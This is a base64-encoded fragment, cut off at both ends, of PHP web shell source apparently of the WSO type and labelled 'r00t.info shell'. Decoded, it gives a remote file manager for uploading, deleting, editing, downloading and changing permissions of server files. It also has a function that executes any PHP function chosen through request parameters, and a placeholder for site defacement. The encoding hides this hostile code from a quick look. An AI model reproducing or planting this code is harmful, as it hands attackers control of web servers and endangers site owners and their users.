24gYWN0aW9uRmlsZXNNYW4oKSB7IHByaW50SGVhZGVyKCk7CiBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgc3dpdGNoKCRfUE9TVFsncDEnXSkgeyBjYXNlICd1cGxvYWRGaWxlJzogaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CiBicmVhazsKIGJyZWFrOwogY2FzZSAnbWtkaXInOiBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKIGJyZWFrOwogY2FzZSAnZGVsZXRlJzogZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7ICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAkZGggPSBvcGVuZGlyKCRwYXRoKTsKIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7ICRpdGVtID0gJHBhdGguJGl0ZW07CiBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkgY29udGludWU7CiAkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsKIGlmICgkdHlwZSA9PSAiZGlyIikgZGVsZXRlRGlyKCRpdGVtKTsKIGVsc2UgQHVubGluaygkaXRlbSk7CiB9IGNsb3NlZGlyKCRkaCk7CiBybWRpcigkcGF0aCk7CiB9IGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsgJGYgPSB1cmxkZWNvZGUoJGYpOwogaWYoaXNfZGlyKCRmKSkgZGVsZXRlRGlyKCRmKTsKIGVsc2UgQHVubGluaygkZik7CiB9IGJyZWFrOwogY2FzZSAncGFzdGUnOiBpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5JykgeyBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsgaWYoaXNfZGlyKCRjLiRzKSl7IG1rZGlyKCRkLiRzKTsKICRoID0gb3BlbmRpcigkYy4kcyk7CiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CiB9IH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7IEBjb3B5KCRjLiRzLCAkZC4kcyk7CiB9IH0gZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOwogfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7IGlmKGlzX2RpcigkYy4kcykpeyBta2RpcigkZC4kcyk7CiAkaCA9IG9wZW5kaXIoJGMuJHMpOwogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7IGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogfSB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgeyBAY29weSgkYy4kcywgJGQuJHMpOwogfSB9IGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKIH0gdW5zZXQoJF9TRVNTSU9OWydmJ10pOwogYnJlYWs7CiBkZWZhdWx0OiBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgeyAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsKICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwogZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikgJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsKICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107CiB9IGJyZWFrOwogfSBlY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiOwpkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjsKPC9zY3JpcHQ+JzsKIH0gJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnOwogcmV0dXJuOwogfSBnbG9iYWwgJHNvcnQ7CiAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyBpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkgJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKIH0gZWNobyAnPHNjcmlwdD4KIGZ1bmN0aW9uIHNhKCkgewogZm9yKGk9MDsKaTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7CmkrKykKIGlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gXCdjaGVja2JveFwnKQogZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7CgogfQogPC9zY3JpcHQ+CiA8dGFibGUgd2lkdGg9XCcxMDAlXCcgY2xhc3M9XCdtYWluXCcgY2VsbHNwYWNpbmc9XCcwXCcgY2VsbHBhZGRpbmc9XCcyXCc+CiA8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pic7CiBlY2hvICI8dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsKICRuID0gY291bnQoJGRpckNvbnRlbnQpOwogZm9yKCRpPTA7CiRpPCRuOwokaSsrKSB7ICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwogJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sICdtb2RpZnknID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLCAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSApOwogaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwogZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSAkbGlua3NbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycpKTsKIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKSAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiB9ICRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKIGZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKIGVsc2UgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKIH0gdXNvcnQoJGZpbGVzLCAiY21wIik7CiB1c29ydCgkZGlycywgImNtcCIpOwogdXNvcnQoJGxpbmtzLCAiY21wIik7CiAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGxpbmtzLCAkZmlsZXMpOwogJGwgPSAwOwogZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsKIj48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10gLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKICRsID0gJGw/MDoxOwogfSBlY2hvICc8dHI+PHRkIGNvbHNwYW49NT4KIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9XCdGaWxlc01hblwnPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogPHNlbGVjdCBuYW1lPVwncDFcJz48b3B0aW9uIHZhbHVlPVwnY29weVwnPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnbW92ZVwnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnZGVsZXRlXCc+RGVsZXRlPC9vcHRpb24+JzsKIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7ZWNobyAnPG9wdGlvbiB2YWx1ZT1cJ3Bhc3RlXCc+UGFzdGU8L29wdGlvbj4nOwogfSBlY2hvICc8L3NlbGVjdD4mbmJzcDsKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0icmlnaHQiIHdpZHRoPSIxIj48aW5wdXQgbmFtZT0iZGVmIiB2YWx1ZT0icjAwdC5pbmZvIHNoZWxsIiBkaXNhYmxlZD0iZGlzYWJsZWQiLz4mbmJzcDsKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFkZCBEZWZhY2UgSGVyZSIgZGlzYWJsZWQ9ImRpc2FibGVkIj48L3RkPjwvdHI+CiA8L2Zvcm0+PC90YWJsZT48L2Rpdj4nOwogcHJpbnRGb290ZXIoKTsKIH0gZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpOwp9fSBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7CmZvcigkaT0wOwokaTxzdHJMZW4oJHApOwokaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7Cn1yZXR1cm4gJHI7Cn19IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJzsKZm9yKCRpPTA7CiRpPHN0cmxlbigkcCk7CisrJGkpJHIuPSBkZWNoZXgob3JkKCRwWyRpXSkpOwpyZXR1cm4gc3RydG91cHBlcigkcik7Cn19IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7CmZvcigkaT0wOwokaTxzdHJsZW4oJHApOworKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7CnJldHVybiBzdHJ0b3VwcGVyKCRyKTsKfX0gaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7ICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKIG9iX3N0YXJ0KCk7CiBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnOwpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInOwpcbiI7CiBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogZXhpdDsKIH0gcHJpbnRIZWFkZXIoKTsKIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogJHN0cmluZ1Rvb2xzID0gYXJyYXkoICdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywgJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLCAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsICdtZDUgaGFzaCcgPT4gJ21kNScsICdzaGExIGhhc2gnID0+ICdzaGExJywgJ2NyeXB0JyA9PiAnY3J5cHQnLCAnQ1JDMzInID0+ICdjcmMzMicsICdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLCAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLCAnSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLCAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywgJ0JJTiB0byBIRVgnID0+ICdiaW4yaGV4JywgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywgKTsKIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpOwp9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7Cn0gcmV0dXJuIGZhbHNlOwonPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKIGZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KSBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CiBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii5odG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7Cic6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwogfSBlY2hvIjwvcHJlPjwvZGl2PiI7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgeyBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwogaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyBpZihpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgeyBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7CiBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgeyAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwogaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwogfSAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwogaWYoJGZwKSB7IHdoaWxlKCFAZmVvZigkZnApKSBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwogZmNsb3NlKCRmcCk7CiB9IH0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsgfSBleGl0OwogfSBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKIGlmKCRmcCkgeyAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CiBmY2xvc2UoJGZwKTsKIH0gfSB9IHByaW50SGVhZGVyKCk7CiBlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgeyBlY2hvICdGaWxlIG5vdCBleGlzdHMnOwogcHJpbnRGb290ZXIoKTsKIHJldHVybjsKIH0gJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7CiBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsKIGlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkgJF9QT1NUWydwMiddID0gJ3ZpZXcnOwogaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKIGVsc2UgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiBmb3JlYWNoKCRtIGFzICR2KSBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOwogZWNobyAnPGJyPjxicj4nOwogc3dpdGNoKCRfUE9TVFsncDInXSkgeyBjYXNlICd2aWV3JzogZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiBpZigkZnApIHsgd2hpbGUoICFAZmVvZigkZnApICkgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKIEBmY2xvc2UoJGZwKTsKIH0gZWNobyAnPC9wcmU+JzsKIGJyZWFrOwogY2FzZSAnaGlnaGxpZ2h0JzogaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7IGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxOwpjb2xvcjpibGFjazsKIj4nOwogJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogfSBicmVhazsKIGNhc2UgJ2NobW9kJzogaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyAkcGVybXMgPSAwOwogZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7CiRpPj0wOwotLSRpKSAkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwogaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7Cjwvc2NyaXB0Pic7CiBlbHNlIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiB9IGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7CnJldHVybiBmYWxzZTsKIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsd